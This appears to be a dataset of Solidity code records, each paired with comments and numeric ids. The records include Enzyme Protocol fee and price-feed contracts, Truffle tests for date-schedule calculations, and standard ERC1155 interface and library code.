require(rate > 0, "addFundSettings: Fee rate must be >0");
comptrollerProxyToRate[_comptrollerProxy] = rate;
emit FundSettingsAdded(_comptrollerProxy, rate);
}
/// @notice Gets the hooks that are implemented by the fee
/// @return implementedHooksForSettle_ The hooks during which settle() is implemented
/// @return implementedHooksForUpdate_ The hooks during which update() is implemented
/// @return usesGavOnSettle_ True if GAV is used during the settle() implementation
/// @return usesGavOnUpdate_ True if GAV is used during the update() implementation
/// @dev Used only during fee registration
function implementedHooks()
external
view
override
returns (
IFeeManager.FeeHook[] memory implementedHooksForSettle_,
IFeeManager.FeeHook[] memory implementedHooksForUpdate_,
bool usesGavOnSettle_,
bool usesGavOnUpdate_
)
{
implementedHooksForSettle_ = new IFeeManager.FeeHook[](1);
implementedHooksForSettle_[0] = IFeeManager.FeeHook.PostBuyShares;
return (implementedHooksForSettle_, new IFeeManager.FeeHook[](0), false, false);
}
/// @notice Settles the fee
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _settlementData Encoded args to use in calculating the settlement
/// @return settlementType_ The type of settlement
/// @return payer_ The payer of shares due
/// @return sharesDue_ The amount of shares due
function settle(
address _comptrollerProxy,
address,
IFeeManager.FeeHook,
bytes calldata _settlementData,
uint256
)
external
override
onlyFeeManager
returns (
IFeeManager.SettlementType settlementType_,
address payer_,
uint256 sharesDue_
)
{
uint256 sharesBought;
(payer_, , sharesBought) = __decodePostBuySharesSettlementData(_settlementData);
uint256 rate = comptrollerProxyToRate[_comptrollerProxy];
sharesDue_ = sharesBought.mul(rate).div(RATE_DIVISOR.add(rate));
if (sharesDue_ == 0) {
return (IFeeManager.SettlementType.None, address(0), 0);
}
emit Settled(_comptrollerProxy, payer_, sharesDue_);
return (SETTLEMENT_TYPE, payer_, sharesDue_);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `rate` variable for a fund
/// @param _comptrollerProxy The ComptrollerProxy contract for the fund
/// @return rate_ The `rate` variable value
function getRateForFund(address _comptrollerProxy) external view returns (uint256 rate_) {
return comptrollerProxyToRate[_comptrollerProxy];
}
/// @notice Gets the `SETTLEMENT_TYPE` variable
/// @return settlementType_ The `SETTLEMENT_TYPE` variable value
function getSettlementType()
external
view
returns (IFeeManager.SettlementType settlementType_)
{
return SETTLEMENT_TYPE;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/EntranceRateFeeBase.sol";
/// @title EntranceRateDirectFee Contract
/// @author Enzyme Council <[email protected]>
/// @notice An EntranceRateFee that transfers the fee shares to the fund manager
contract EntranceRateDirectFee is EntranceRateFeeBase {
constructor(address _feeManager)
public
EntranceRateFeeBase(_feeManager, IFeeManager.SettlementType.Direct)
{}
/// @notice Provides a constant string identifier for a fee
/// @return identifier_ The identifier string
function identifier() external pure override returns (string memory identifier_) {
return "ENTRANCE_RATE_DIRECT";
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "./utils/EntranceRateFeeBase.sol";
/// @title EntranceRateBurnFee Contract
/// @author Enzyme Council <[email protected]>
/// @notice An EntranceRateFee that burns the fee shares
contract EntranceRateBurnFee is EntranceRateFeeBase {
constructor(address _feeManager)
public
EntranceRateFeeBase(_feeManager, IFeeManager.SettlementType.Burn)
{}
/// @notice Provides a constant string identifier for a fee
/// @return identifier_ The identifier string
function identifier() external pure override returns (string memory identifier_) {
return "ENTRANCE_RATE_BURN";
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
contract MockChaiPriceSource {
using SafeMath for uint256;
uint256 private chiStored = 10**27;
uint256 private rhoStored = now;
function drip() external returns (uint256) {
require(now >= rhoStored, "drip: invalid now");
rhoStored = now;
chiStored = chiStored.mul(99).div(100);
return chi();
}
////////////////////
// STATE GETTERS //
///////////////////
function chi() public view returns (uint256) {
return chiStored;
}
function rho() public view returns (uint256) {
return rhoStored;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../../utils/DispatcherOwnerMixin.sol";
import "./IAggregatedDerivativePriceFeed.sol";
/// @title AggregatedDerivativePriceFeed Contract
/// @author Enzyme Council <[email protected]>
/// @notice Aggregates multiple derivative price feeds (e.g., Compound, Chai) and dispatches
/// rate requests to the appropriate feed
contract AggregatedDerivativePriceFeed is IAggregatedDerivativePriceFeed, DispatcherOwnerMixin {
event DerivativeAdded(address indexed derivative, address priceFeed);
event DerivativeRemoved(address indexed derivative);
event DerivativeUpdated(
address indexed derivative,
address prevPriceFeed,
address nextPriceFeed
);
mapping(address => address) private derivativeToPriceFeed;
constructor(
address _dispatcher,
address[] memory _derivatives,
address[] memory _priceFeeds
) public DispatcherOwnerMixin(_dispatcher) {
if (_derivatives.length > 0) {
__addDerivatives(_derivatives, _priceFeeds);
}
}
/// @notice Gets the rates for 1 unit of the derivative to its underlying assets
/// @param _derivative The derivative for which to get the rates
/// @return underlyings_ The underlying assets for the _derivative
/// @return underlyingAmounts_ The rates for the _derivative to the underlyings_
function calcUnderlyingValues(address _derivative, uint256 _derivativeAmount)
external
override
returns (address[] memory underlyings_, uint256[] memory underlyingAmounts_)
{
address derivativePriceFeed = derivativeToPriceFeed[_derivative];
require(
derivativePriceFeed != address(0),
"calcUnderlyingValues: _derivative is not supported"
);
return
IDerivativePriceFeed(derivativePriceFeed).calcUnderlyingValues(
_derivative,
_derivativeAmount
);
}
/// @notice Checks whether an asset is a supported derivative
/// @param _asset The asset to check
/// @return isSupported_ True if the asset is a supported derivative
/// @dev This should be as low-cost and simple as possible
function isSupportedAsset(address _asset) external view override returns (bool isSupported_) {
return derivativeToPriceFeed[_asset] != address(0);
}
//////////////////////////
// DERIVATIVES REGISTRY //
//////////////////////////
/// @notice Adds a list of derivatives with the given price feed values
/// @param _derivatives The derivatives to add
/// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives
function addDerivatives(address[] calldata _derivatives, address[] calldata _priceFeeds)
external
onlyDispatcherOwner
{
require(_derivatives.length > 0, "addDerivatives: _derivatives cannot be empty");
__addDerivatives(_derivatives, _priceFeeds);
}
/// @notice Removes a list of derivatives
/// @param _derivatives The derivatives to remove
function removeDerivatives(address[] calldata _derivatives) external onlyDispatcherOwner {
require(_derivatives.length > 0, "removeDerivatives: _derivatives cannot be empty");
for (uint256 i = 0; i < _derivatives.length; i++) {
require(
derivativeToPriceFeed[_derivatives[i]] != address(0),
"removeDerivatives: Derivative not yet added"
);
delete derivativeToPriceFeed[_derivatives[i]];
emit DerivativeRemoved(_derivatives[i]);
}
}
/// @notice Updates a list of derivatives with the given price feed values
/// @param _derivatives The derivatives to update
/// @param _priceFeeds The ordered price feeds corresponding to the list of _derivatives
function updateDerivatives(address[] calldata _derivatives, address[] calldata _priceFeeds)
external
onlyDispatcherOwner
{
require(_derivatives.length > 0, "updateDerivatives: _derivatives cannot be empty");
require(
_derivatives.length == _priceFeeds.length,
"updateDerivatives: Unequal _derivatives and _priceFeeds array lengths"
);
for (uint256 i = 0; i < _derivatives.length; i++) {
address prevPriceFeed = derivativeToPriceFeed[_derivatives[i]];
require(prevPriceFeed != address(0), "updateDerivatives: Derivative not yet added");
require(_priceFeeds[i] != prevPriceFeed, "updateDerivatives: Value already set");
__validateDerivativePriceFeed(_derivatives[i], _priceFeeds[i]);
derivativeToPriceFeed[_derivatives[i]] = _priceFeeds[i];
emit DerivativeUpdated(_derivatives[i], prevPriceFeed, _priceFeeds[i]);
}
}
/// @dev Helper to add derivative-feed pairs
function __addDerivatives(address[] memory _derivatives, address[] memory _priceFeeds)
private
{
require(
_derivatives.length == _priceFeeds.length,
"__addDerivatives: Unequal _derivatives and _priceFeeds array lengths"
);
for (uint256 i = 0; i < _derivatives.length; i++) {
require(
derivativeToPriceFeed[_derivatives[i]] == address(0),
"__addDerivatives: Already added"
);
__validateDerivativePriceFeed(_derivatives[i], _priceFeeds[i]);
derivativeToPriceFeed[_derivatives[i]] = _priceFeeds[i];
emit DerivativeAdded(_derivatives[i], _priceFeeds[i]);
}
}
/// @dev Helper to validate a derivative price feed
function __validateDerivativePriceFeed(address _derivative, address _priceFeed) private view {
require(_derivative != address(0), "__validateDerivativePriceFeed: Empty _derivative");
require(_priceFeed != address(0), "__validateDerivativePriceFeed: Empty _priceFeed");
require(
IDerivativePriceFeed(_priceFeed).isSupportedAsset(_derivative),
"__validateDerivativePriceFeed: Unsupported derivative"
);
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the registered price feed for a given derivative
/// @return priceFeed_ The price feed contract address
function getPriceFeedForDerivative(address _derivative)
external
view
override
returns (address priceFeed_)
{
return derivativeToPriceFeed[_derivative];
}
}
|
@notice Universal method for calling third party contract functions through adapters @param _caller The caller of this function via the ComptrollerProxy @param _vaultProxy The VaultProxy of the fund @param _callArgs The encoded args for this function - _adapter Adapter of the integration on which to execute a call - _selector Method selector of the adapter method to execute - _integrationData Encoded arguments specific to the adapter @dev msg.sender is the ComptrollerProxy. Refer to specific adapter to see how to encode its arguments.
|
function __callOnIntegration(
address _caller,
address _vaultProxy,
bytes memory _callArgs
) private {
(
address adapter,
bytes4 selector,
bytes memory integrationData
) = __decodeCallOnIntegrationArgs(_callArgs);
__preCoIHook(adapter, selector);
(
address[] memory incomingAssets,
uint256[] memory incomingAssetAmounts,
address[] memory outgoingAssets,
uint256[] memory outgoingAssetAmounts
) = __callOnIntegrationInner(_vaultProxy, _callArgs);
__postCoIHook(
adapter,
selector,
incomingAssets,
incomingAssetAmounts,
outgoingAssets,
outgoingAssetAmounts
);
__emitCoIEvent(
_vaultProxy,
_caller,
adapter,
selector,
integrationData,
incomingAssets,
incomingAssetAmounts,
outgoingAssets,
outgoingAssetAmounts
);
| 1,697,449
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pragma solidity ^0.5.2;
pragma experimental ABIEncoderV2;
import "truffle/Assert.sol";
import "../../contracts/Core/Core.sol";
/** Covered test cases:
- cycle not set, different overlaps, with or without endtime
- Different overlaps of segment and cycle with or without addEndtime
- start before, end before
- start before, end within
- start before, end after
- start within, end within
- start within, end after
- start after, end after
The tests are divided into multiple parts to avoid a stack which is too deep
*/
contract TestCoreSchedule is Core {
/*
* test cases where cycle.isSet == false
*/
function testComputeDatesFromCycleSegment_1() public {
IPS memory c = IPS(1, P.M, S.LONG, false); // Every 1 month, isSet = false
bool addEndTime = false;
uint256 cStart = 1514764800; // Monday, 2018-01-01 00:00:00 UTC
uint256 cEnd = 1538352000; // Monday, 2018-10-01 00:00:00 UTC
uint256 sStart = 1525132800; // Tuesday, 2018-05-01 00:00:00 UTC
uint256 sEnd = 1535760000; // Saturday, 2018-09-01 00:00:00 UTC
// Segment lies before cycle
uint256[MAX_CYCLE_SIZE] memory result_t1; // empty array
Assert.equal(
keccak256(abi.encode(computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, 0, 0))),
keccak256(abi.encode(result_t1)),
"Should return an empty array"
);
// Segment lies after cycle
uint256[MAX_CYCLE_SIZE] memory result_t2; // empty array
Assert.equal(
keccak256(abi.encode(computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, 9999999999, 9999999999))),
keccak256(abi.encode(result_t2)),
"Should return an empty array"
);
// Segment lies within cycle
uint256[MAX_CYCLE_SIZE] memory result_t3;
uint256[MAX_CYCLE_SIZE] memory dates_t3 = computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, sStart, sEnd);
Assert.equal(
keccak256(abi.encode(dates_t3)), keccak256(abi.encode(result_t3)),
"Should return an empty array");
// Cycle lies within Segment, addEndTime == false
uint256[MAX_CYCLE_SIZE] memory result_t4;
addEndTime = false;
result_t4[0] = cStart;
sStart = 0;
sEnd = 9999999999;
uint256[MAX_CYCLE_SIZE] memory dates_t4 = computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, sStart, sEnd);
Assert.equal(keccak256(abi.encode(dates_t4)), keccak256(abi.encode(result_t4)),
"Array should contain only the cycle start date");
}
/*
* test cases where cycle.isSet == false (continued)
*/
function testComputeDatesFromCycleSegment_2() public {
IPS memory c = IPS(1, P.M, S.LONG, false); // Every 1 month
bool addEndTime = false;
uint256 cStart = 1514764800; // Monday, 2018-01-01 00:00:00 UTC
uint256 cEnd = 1538352000; // Monday, 2018-10-01 00:00:00 UTC
uint256 sStart = 1525132800; // Tuesday, 2018-05-01 00:00:00 UTC
uint256 sEnd = 1535760000; // Saturday, 2018-09-01 00:00:00 UTC
// Cycle lies within Segment, addEndTime == true
uint256[MAX_CYCLE_SIZE] memory result_t5;
addEndTime = true;
result_t5[0] = cStart;
result_t5[1] = cEnd;
Assert.equal(
keccak256(abi.encode(computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, 0, 9999999999))),
keccak256(abi.encode(result_t5)),
"Array should contain cycle start and end dates");
// Only cycle start lies within segment, addEndTime == true
addEndTime = true;
uint256[MAX_CYCLE_SIZE] memory result_t6;
result_t6[0] = cStart;
Assert.equal(
keccak256(abi.encode(computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, 0, sEnd))),
keccak256(abi.encode(result_t6)),
"Should contain cycle start date"
);
// Only cycle end lies within segment, addEndTime == false
addEndTime = false;
uint256[MAX_CYCLE_SIZE] memory result_t7; // empty array
Assert.equal(
keccak256(abi.encode(computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, sStart, 9999999999))),
keccak256(abi.encode(result_t7)),
"Should return an empty array"
);
}
/*
* test cases where cycle.isSet == true
*/
function testComputeDatesFromCycleSegment_3() public {
// Initialize variables
IPS memory c = IPS(1, P.M, S.LONG, true); // Every 1 month
bool addEndTime = false;
uint256 cStart = 1514764800; // Monday, 2018-01-01 00:00:00 UTC
uint256 cEnd = 1538352000; // Monday, 2018-10-01 00:00:00 UTC
uint256 sStart = 1525132800; // Tuesday, 2018-05-01 00:00:00 UTC
uint256 sEnd = 1535760000; // Saturday, 2018-09-01 00:00:00 UTC
// Segment lies in cycle
uint256[MAX_CYCLE_SIZE] memory result_t7; // empty array
uint256[MAX_CYCLE_SIZE] memory dates_t7;
dates_t7 = computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, sStart, sEnd);
result_t7[0] = uint256(1525132800); // Tuesday, 2018-05-01 00:00:00 UTC
result_t7[1] = uint256(1527811200); // Friday, 2018-06-01 00:00:00 UTC
result_t7[2] = uint256(1530403200); // Sunday, 2018-07-01 00:00:00 UTC
result_t7[3] = uint256(1533081600); // Wednesday, 2018-08-01 00:00:00 UTC
result_t7[4] = uint256(1535760000); // Saturday, 2018-09-01 00:00:00 UTC
Assert.equal(
keccak256(abi.encode(dates_t7)),
keccak256(abi.encode(result_t7)),
"Should return 152513280, 1527811200, 1530403200, 1533081600, 1535760000"
);
// Segment lies in cycle, addEndTime = false
addEndTime = false;
uint256[MAX_CYCLE_SIZE] memory result_t8; // empty array
uint256[MAX_CYCLE_SIZE] memory dates_t8;
dates_t8 = computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, 0, 9999999999);
result_t8[0] = uint256(1514764800); // Monday, 2018-01-01 00:00:00 UTC
result_t8[1] = uint256(1517443200); // Thursday, 2018-02-01 00:00:00 UTC
result_t8[2] = uint256(1519862400); // Thursday, 2018-03-01 00:00:00 UTC
result_t8[3] = uint256(1522540800); // Sunday, 2018-04-01 00:00:00 UTC
result_t8[4] = uint256(1525132800); // Tuesday, 2018-05-01 00:00:00 UTC
result_t8[5] = uint256(1527811200); // Friday, 2018-06-01 00:00:00 UTC
result_t8[6] = uint256(1530403200); // Sunday, 2018-07-01 00:00:00 UTC
result_t8[7] = uint256(1533081600); // Wednesday, 2018-08-01 00:00:00 UTC
result_t8[8] = uint256(1535760000); // Saturday, 2018-09-01 00:00:00 UTC
Assert.equal(
keccak256(abi.encode(dates_t8)),
keccak256(abi.encode(result_t8)),
"Should return 1514764800, 1517443200, 1519862400, 1522540800, 1525132800, 1527811200, 1530403200, 1533081600, 1535760000"
);
// Segment lies in cycle, addEndTime = true
addEndTime = true;
uint256[MAX_CYCLE_SIZE] memory result_t9; // empty array
uint256[MAX_CYCLE_SIZE] memory dates_t9;
dates_t9 = computeDatesFromCycleSegment(cStart, cEnd, c, addEndTime, 0, 9999999999);
result_t9[0] = uint256(1514764800); // Monday, 2018-01-01 00:00:00 UTC
result_t9[1] = uint256(1517443200); // Thursday, 2018-02-01 00:00:00 UTC
result_t9[2] = uint256(1519862400); // Thursday, 2018-03-01 00:00:00 UTC
result_t9[3] = uint256(1522540800); // Sunday, 2018-04-01 00:00:00 UTC
result_t9[4] = uint256(1525132800); // Tuesday, 2018-05-01 00:00:00 UTC
result_t9[5] = uint256(1527811200); // Friday, 2018-06-01 00:00:00 UTC
result_t9[6] = uint256(1530403200); // Sunday, 2018-07-01 00:00:00 UTC
result_t9[7] = uint256(1533081600); // Wednesday, 2018-08-01 00:00:00 UTC
result_t9[8] = uint256(1535760000); // Saturday, 2018-09-01 00:00:00 UTC
result_t9[9] = uint256(1538352000); // Monday, 2018-10-01 00:00:00 UTC
Assert.equal(
keccak256(abi.encode(dates_t9)),
keccak256(abi.encode(result_t9)),
"Should return 1514764800, 1517443200, 1519862400, 1522540800, 1525132800, 1527811200, 1530403200, 1533081600, 1535760000, 1538352000"
);
}
/*
* The two following test ar for the case when the SD end of month convention
* is selected but the start date is on the 30th of a month. For all months with
* >= 30 days the date will be on the 30th. For Febuary it will be on
* the 28th except for leap years, where it will be on the 29th
*/
function test_Schedule_Monthly_SD_shortstub_startEndMonthApr() public {
uint256[MAX_CYCLE_SIZE] memory expectedDates;
uint256[MAX_CYCLE_SIZE] memory generatedDates;
IPS memory c = IPS(1, P.M, S.SHORT, true);
uint256 start = 1461974400; // 2016-04-30T00:00:00
uint256 end = 1488326400; // 2017-03-01T00:00:00
generatedDates = computeDatesFromCycleSegment(start, end, c, true, 0, 9999999999);
expectedDates[0] = 1461974400; // 2016-04-30T00:00:00
expectedDates[1] = 1464566400; // 2016-05-30T00:00:00
expectedDates[2] = 1467244800; // 2016-06-30T00:00:00
expectedDates[3] = 1469836800; // 2016-07-30T00:00:00
expectedDates[4] = 1472515200; // 2016-08-30T00:00:00
expectedDates[5] = 1475193600; // 2016-09-30T00:00:00
expectedDates[6] = 1477785600; // 2016-10-30T00:00:00
expectedDates[7] = 1480464000; // 2016-11-30T00:00:00
expectedDates[8] = 1483056000; // 2016-12-30T00:00:00
expectedDates[9] = 1485734400; // 2017-01-30T00:00:00
expectedDates[10] = 1488240000; // 2017-02-28T00:00:00
expectedDates[11] = 1488326400; // 2017-03-01T00:00:00
Assert.equal(
keccak256(abi.encode(expectedDates)),
keccak256(abi.encode(generatedDates)),
"Generated schedules should be equal."
);
}
function test_Schedule_Monthly_SD_shortstub_startEndMonthApr_leapyear() public {
uint256[MAX_CYCLE_SIZE] memory expectedDates;
uint256[MAX_CYCLE_SIZE] memory generatedDates;
IPS memory c = IPS(1, P.M, S.SHORT, true);
uint256 start = 1430352000; // 2015-04-30T00:00:00
uint256 end = 1456790400; // 2016-03-01T00:00:00 - 2016 is a leap year
generatedDates = computeDatesFromCycleSegment(start, end, c, true, 0, 9999999999);
expectedDates[0] = 1430352000; // 2015-04-30T00:00:00
expectedDates[1] = 1432944000; // 2015-05-30T00:00:00
expectedDates[2] = 1435622400; // 2015-06-30T00:00:00
expectedDates[3] = 1438214400; // 2015-07-30T00:00:00
expectedDates[4] = 1440892800; // 2015-08-30T00:00:00
expectedDates[5] = 1443571200; // 2015-09-30T00:00:00
expectedDates[6] = 1446163200; // 2015-10-30T00:00:00
expectedDates[7] = 1448841600; // 2015-11-30T00:00:00
expectedDates[8] = 1451433600; // 2015-12-30T00:00:00
expectedDates[9] = 1454112000; // 2016-01-30T00:00:00
expectedDates[10] = 1456704000; // 2016-02-29T00:00:00
expectedDates[11] = 1456790400; // 2016-03-01T00:00:00
Assert.equal(
keccak256(abi.encode(expectedDates)),
keccak256(abi.encode(generatedDates)),
"Generated schedules should be equal."
);
}
}
|
Wednesday, 2018-08-01 00:00:00 UTC
|
result_t9[7] = uint256(1533081600);
| 6,451,522
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//
// ██████╗ ██╗ ██╗ ██████╗██████╗ ██╗ ██╗███████╗████████╗ █████╗ ██╗ ███████╗
// ██╔═████╗╚██╗██╔╝██╔════╝██╔══██╗╚██╗ ██╔╝██╔════╝╚══██╔══╝██╔══██╗██║ ██╔════╝
// ██║██╔██║ ╚███╔╝ ██║ ██████╔╝ ╚████╔╝ ███████╗ ██║ ███████║██║ ███████╗
// ████╔╝██║ ██╔██╗ ██║ ██╔══██╗ ╚██╔╝ ╚════██║ ██║ ██╔══██║██║ ╚════██║
// ╚██████╔╝██╔╝ ██╗╚██████╗██║ ██║ ██║ ███████║ ██║ ██║ ██║███████╗███████║
// ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚══════╝
//
// SPDX-License-Identifier: MIT
// Developer: jawadklair
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
